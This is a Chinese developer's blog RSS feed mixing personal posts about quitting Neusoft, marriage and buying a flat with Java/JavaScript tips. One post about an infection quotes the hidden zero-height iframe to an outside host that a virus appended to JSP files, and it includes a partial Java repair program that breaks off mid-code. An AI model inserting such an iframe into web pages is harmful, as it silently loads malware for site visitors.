﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-冷面阎罗</title><link>http://www.blogjava.net/soddabao/</link><description>低调做人&amp;&amp;高调做事</description><language>zh-cn</language><lastBuildDate>Fri, 01 May 2026 09:42:02 GMT</lastBuildDate><pubDate>Fri, 01 May 2026 09:42:02 GMT</pubDate><ttl>60</ttl><item><title>4年我终于离开东软了</title><link>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Sat, 03 Jul 2010 02:52:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/325122.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/325122.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/325122.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;之前虽然有各种想法，但是最终都没有走成，不过这次真的走，而且已经在下家工作半个多月了，马上就要5年了，眼瞅着就要在东软立碑了(东软5年立碑，十年送表)，现在回想发现我走晚了，毕竟在东软我不能过一辈子，早痛不如晚痛，早晚都要离的。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实如果抛开工作的最终目标&#8230;&#8230;工资，东软还有很多地方不错，但是如果考虑到生活，东软确实很不适合我。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其一、在大连的IT朋友都知道，东软在河口，一般下班回家都得在7点左右，而且这还是到6点下班就走人，路上不堵车的情况下，试想如果成家了，7点到家然后再做饭吃饭，那么吃饭的时间差不多在8点，也就是要9点左右才能收拾完，你那里还有时间陪家人，如果有孩子，宝宝和爸爸在一起玩的时间就更少了，当然你可以买车，确实买车可以节省不少时间，但考虑你的收入，能买起房子的必然有房贷(不考虑家里给付全款，这样的很少)，房贷算2k，一家2口的月消费在2.5k吧，这个算保守估计，余下你的工资+你老婆的工资什么时候能攒到买车以及养车呢？<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其二、出差，在东软做国内项目的，可以说没有不出差，出差的状况，我想不用我说大家也都知道，当然如果你有妻子孩子呢？你能忍受么？对我记的最深的一件事情就是去年冬天去贵州，晚上派出所民警走访，我媳妇在家就是不开门，吓的晚上没敢睡觉，弄全家6口人提心吊胆好几天，而现如今我家媳妇已怀孕了，我能安心出差么？不出差那是不可能滴，这张状况下我只有离开<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其三、结婚，如果不是因为出差，09年就婚了，但由于出差，使得我和老婆领结婚证的日期一推再推，每个人都会有自己的纪念日、自己喜欢的日期，但由于出差我只能和领导请假请假再请假，在年底好不容易才回来领证，那还考虑日期的，能领就不错了，要不到10年就不好了。而自己结婚的时候请同事的时候，发生一件让我更为愤慨的事情，原本我计划的日期，由于我的主管(部门经理)出差，她说推迟，可推迟后的日期她仍没有去，而且我请客的饭店就在她家附近，即使是步行也就10分钟，她出差回来了都没去，而且休婚假回来上班的时候看见我和没事一样，我怀疑是领导但是送分子白送了，&#8756;还是不去免的随份子，就算她随也没多少，大连最低标准吧，就是在大连最普通的朋友随的数目。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 离职的日期，我选在休婚假回来的第二天和领导提出的，想在第一天看看有什么状态么？结果还是没什么，所以我就提出了，领导虽说了留我，但我说啥都没用，必须得走，要不娃以后都没有奶粉钱，之前领导还和我比穷，看看谁套现信用卡多，谁欠银行的钱多，最后他还是很顺利的让我办各种手续，在此向这个领导说一声谢谢！<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其余我也不想多说了，鉴于东软的淫威，少说一句话不能死人，多说一句话可能给自己带来不必要的麻烦，所以我还是少一事不如多一事。之前自己再离职前也说过什么走之后怎么怎么的，但现在想想东软给我的不少，但自己给予东软的更多，作为一个项目经理，收入都没有手下刚工作的多，不过这都是08的事情。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在自己的工作还不错，下班后回家给媳妇做饭一点都不耽误，饭后陪媳妇在小区散步。新环境下领导、同事都比较照顾，现在呢？就像QQ签名说的：真希望早点过年，因为过年的时候我会收到人生最好的新年礼物。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 希望<span style="color: #ff0000"><strong>所有曾在东软工作的同事</strong></span>，可能我们认识、不认识，但我祝福你们，希望我们事事如愿，就像《人生囧途》的牛耿想啥来啥。对于东软，我们要抱着一颗感恩的心，就像华中科技大学的礼培根校长说的那样：什么是母校？就是那个你一天骂他八遍却不许别人骂的地方，面对我们曾经为之付出的东软，而且已经本科毕业(4年)，我们不应该这样么？<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; 
 <img src ="http://www.blogjava.net/soddabao/aggbug/325122.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2010-07-03 10:52 <a href="http://www.blogjava.net/soddabao/archive/2010/07/03/325122.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2009-10-28人生一个特殊日子</title><link>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 27 Oct 2009 12:47:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/299972.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/299972.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/299972.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BLOGJAVA我离开快一年了，这一年不是不思进取也不是不想写blog，而是单位检查的太恶心，整天定着网上的blog，看看是不是自己单位的员工写的，如果是看看有没有泄露技术，要是有一点，就马上就信息安全专员谈话，这个领导谈话，还要马上把blog清掉，还带承担连带的民事、刑事责任(我好怕怕，都不敢写了)<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2009-10-28是我人生的一个特殊日子，打算与相恋2年(整整2年，07.10.28我们走到一起)的女友去领结婚证，人生迈开又一页，在这半年内买房子、装修、照婚纱照、领结婚证，忙的不亦乐乎。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中午吃饭的时候和同事说，都马上就30了，搞计算机的30后就开始走下坡路，可是我还有达到辉煌，却要走下坡路，不免为自己的后半生犯难，以后不是一个人在战斗，不是一人吃饱全家不饿，要做一个男人，一个真正的男人，一个养家糊口的男人，我还要付出很多~~~<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在此希望所有看到此文的网友以及没看到的网友，有情人终成眷属，生活美满，人人都做技术大拿，薪水如黄河之水滔滔不绝，多的花都不想花；当然也希望得到网友们的祝福，祝我新婚快乐~~&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 感谢BLOGJAVA让我认识这些多朋友，谢谢了
<img src ="http://www.blogjava.net/soddabao/aggbug/299972.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-10-27 20:47 <a href="http://www.blogjava.net/soddabao/archive/2009/10/27/299972.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IE关闭方法</title><link>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Thu, 19 Mar 2009 06:57:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/260783.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/260783.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/260783.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IE6调用window.close()方法可以直接将IE关掉，但是这个方法在IE7下就不好，在网上baidu了半天也没有找到合适的方法，最后没有办法只好让其弹出对话框，由客户点一下了。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近发现这个方法可以将IE7直接关闭，共享下<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;isIE6&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(window.navigator.userAgent.indexOf(</span><span style="color: #000000">"</span><span style="color: #000000">MSIE&nbsp;6</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">!=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">1</span><span style="color: #000000">);&nbsp;&nbsp;&nbsp;<br />
<img id="Codehighlighter1_88_128_Open_Image" onclick="this.style.display='none'; Codehighlighter1_88_128_Open_Text.style.display='none'; Codehighlighter1_88_128_Closed_Image.style.display='inline'; Codehighlighter1_88_128_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_88_128_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_88_128_Closed_Text.style.display='none'; Codehighlighter1_88_128_Open_Image.style.display='inline'; Codehighlighter1_88_128_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">(isIE6)&nbsp;</span><span id="Codehighlighter1_88_128_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_88_128_Open_Text"><span style="color: #000000">{&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.opener</span><span style="color: #000000">=</span><span style="color: #0000ff">null</span><span style="color: #000000">;&nbsp;&nbsp;&nbsp;<br />
<img id="Codehighlighter1_135_183_Open_Image" onclick="this.style.display='none'; Codehighlighter1_135_183_Open_Text.style.display='none'; Codehighlighter1_135_183_Closed_Image.style.display='inline'; Codehighlighter1_135_183_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_135_183_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_135_183_Closed_Text.style.display='none'; Codehighlighter1_135_183_Open_Image.style.display='inline'; Codehighlighter1_135_183_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000">&nbsp;</span><span id="Codehighlighter1_135_183_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_135_183_Open_Text"><span style="color: #000000">{&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.open(</span><span style="color: #000000">''</span><span style="color: #000000">,</span><span style="color: #000000">'</span><span style="color: #000000">_self</span><span style="color: #000000">'</span><span style="color: #000000">,</span><span style="color: #000000">''</span><span style="color: #000000">);&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;window.close();&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
&nbsp;&nbsp; 这个方法同时支持IE6.
<img src ="http://www.blogjava.net/soddabao/aggbug/260783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-19 14:57 <a href="http://www.blogjava.net/soddabao/archive/2009/03/19/260783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>房子首付款交了，等待办贷款，开始准备研究装修</title><link>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Fri, 13 Mar 2009 01:17:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/259479.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/259479.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/259479.html</trackback:ping><description><![CDATA[　　　３．１１把首付款交了，家里人让多交点，少贷点，不过还是按照的意思来：就只交了２成首付款，其余３０多ｗ全贷着。<br />
<br />
　　　之前就听说装修麻烦，现在感觉到，我现在的感觉有点老虎吃天无从下口，不过还好现在都是网络时代，先去论坛灌灌水，加几个ＱＱ群，网络是真太方便了。<br />
<br />
　　　截止到目前，我比较贵重物品都是从网上买来的，其中也包括媳妇O(&#8745;_&#8745;)O哈哈~<br />
<br />
　　　不写了，继续去论坛潜水，期待贷款办下来，我就是房主＋房奴了O(&#8745;_&#8745;)O~
<img src ="http://www.blogjava.net/soddabao/aggbug/259479.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-13 09:17 <a href="http://www.blogjava.net/soddabao/archive/2009/03/13/259479.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2009年3月9日一个特殊日志</title><link>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 10 Mar 2009 02:05:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/258724.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/258724.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/258724.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 昨天是一个特殊的日子，但是我心情不知是喜还是悲还是&#8230;&#8230;？<br />
&nbsp;&nbsp;&nbsp;&nbsp; 喜的是：昨天下午去看房子了，算是定下来了，交了中介费，今天下午去找开发商交定金，然后就准备首付款准备办手续，产权什么；突然把房子定下来，女朋友说晚上再考虑考虑，无非就是突然一下子拿出那么多钱不舍得，不过作为男子汉该坚决就坚决。估计一个月后产权就办下来了，在大连总算有个家了，不用再整天租房子了。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 悲的是：老爸老妈半辈子的钱没了，辛苦了半辈子为儿上学、买房子，于心有些不忍，不过好在他们只帮我出了一半的首付款，那一半是我毕业这3年多自己挣的，如果去年出差的话，差不多老娘又能省下2w，不过还好首付款没有华掉老娘所有的积蓄，房贷我自己可以还，不用他们操心。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 喜的是：女朋友昨天换工作了，离开自己工作不愉快的单位，原先她办公室有4个人，一个经理、3个员工，其中2个员工是托关系进去，所有的活全部由她自己干，挣的还不多，而且他们老总还变态，说给升主管还不涨工资，提出离职了还不让走，走之前还要干这个干那个，离职的原因还不让说，还有一个更为恶心：我女朋友是去年3月去，刚开始签了个一年的合同，试用期后把那个合同要走，重签了个一年的，而且试用期不交保险、公积金什么的？去年年末还想把之前的合同要走，想再签一个，他们老总是不是不了解新版劳动法，他们害怕我女朋友闹事，提出离职到走还不到一周的时间&#8230;&#8230;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 昨天的心情说不上来，下午就去交定金，开始办手续了，要准备的东西还不少，我就想不明白要单身证明干什么？<br />
<br />
&nbsp;&nbsp;&nbsp; 不写了，忙去了，开各种证明了。有时间在写。
<img src ="http://www.blogjava.net/soddabao/aggbug/258724.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-03-10 10:05 <a href="http://www.blogjava.net/soddabao/archive/2009/03/10/258724.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javasript与java之间传递汉字乱码</title><link>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Thu, 19 Feb 2009 03:14:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/255411.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/255411.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/255411.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;javasript经常往java端传递汉字，之前经常就是一个url串:&#8220;name:冷面阎罗&#8221;，大多数下这样传递都不会出现乱码，不过前几天出现乱码了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 于是呼：在js端使用encodeURIComponent将url进行封装一下，然后在java端再将url串进行解码。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java端常用的方法<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">String&nbsp;text</span><span style="color: #000000">=</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;String(text.getBytes(</span><span style="color: #000000">"</span><span style="color: #000000">iso8859-1</span><span style="color: #000000">"</span><span style="color: #000000">),</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不过我同事说也可以使用jdk的方法<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">URLDecoder.decode(libParams,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">UTF-8</span><span style="color: #000000">"</span><span style="color: #000000">);&nbsp;</span></div>
&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我实验过第一种方法可行，第二种方法未通过验证，如有通过验证的麻烦告知。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 后附：<a title="encodeURIComponent" href="http://www.w3school.com.cn/js/jsref_encodeURIComponent.asp">encodeURIComponent</a>函数， good &nbsp;luck~~~
<img src ="http://www.blogjava.net/soddabao/aggbug/255411.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-02-19 11:14 <a href="http://www.blogjava.net/soddabao/archive/2009/02/19/255411.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>中了一个很奇怪的病毒，所有的jsp文件均为改写</title><link>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 17 Feb 2009 02:49:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/255036.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/255036.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/255036.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上周末，机器中毒了，起初自己没有发现，后来写代码发现运行jsp文件，机器变的奇慢务必，后来以为是机器慢，就把qq、msn 等工具全关掉了，发现还是不行，后来把上网的代理关掉时候发现正常了；再一看jsp文件发现全部被改写了，在文件最后一行加上<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;</span><span style="color: #000000">iframe&nbsp;src</span><span style="color: #000000">=</span><span style="color: #000000">http:</span><span style="color: #008000">//</span><span style="color: #008000">w.zhufeng01.cn/a.htm&nbsp;width=100&nbsp;height=0&gt;&lt;/iframe&gt;</span></div>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 于是上网找杀毒软件，刚开始用的诺顿(公式规定必须安装)，发现不行就换别的软件，可是病毒不让你安装别的杀毒软件，甚至打开有解决方法的网页，都会将ie关闭。<br />
&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; 后来同事给了360，算是把病毒稳定了，可是我的jsp、html文件都被改写了，这时想到写程序解决，下面是我弄的java程序删除文件中被增加的iframe。<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">import</span><span style="color: #000000">&nbsp;java.io.File;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">import</span><span style="color: #000000">&nbsp;java.io.RandomAccessFile;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;RepairPage<br />
<img id="Codehighlighter1_79_1429_Open_Image" onclick="this.style.display='none'; Codehighlighter1_79_1429_Open_Text.style.display='none'; Codehighlighter1_79_1429_Closed_Image.style.display='inline'; Codehighlighter1_79_1429_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_79_1429_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_79_1429_Closed_Text.style.display='none'; Codehighlighter1_79_1429_Open_Image.style.display='inline'; Codehighlighter1_79_1429_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" /></span><span id="Codehighlighter1_79_1429_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_79_1429_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;num;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;String&nbsp;worm&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">&lt;iframe&nbsp;src=http://w.zhufeng01.cn/a.htm&nbsp;width=100&nbsp;height=0&gt;&lt;/iframe&gt;</span><span style="color: #000000">"</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;repair(File&nbsp;page)<br />
<img id="Codehighlighter1_236_775_Open_Image" onclick="this.style.display='none'; Codehighlighter1_236_775_Open_Text.style.display='none'; Codehighlighter1_236_775_Closed_Image.style.display='inline'; Codehighlighter1_236_775_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_236_775_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_236_775_Closed_Text.style.display='none'; Codehighlighter1_236_775_Open_Image.style.display='inline'; Codehighlighter1_236_775_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_236_775_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_236_775_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">System.out.println("Try&nbsp;File："+page.getPath());</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">try</span><span style="color: #000000"><br />
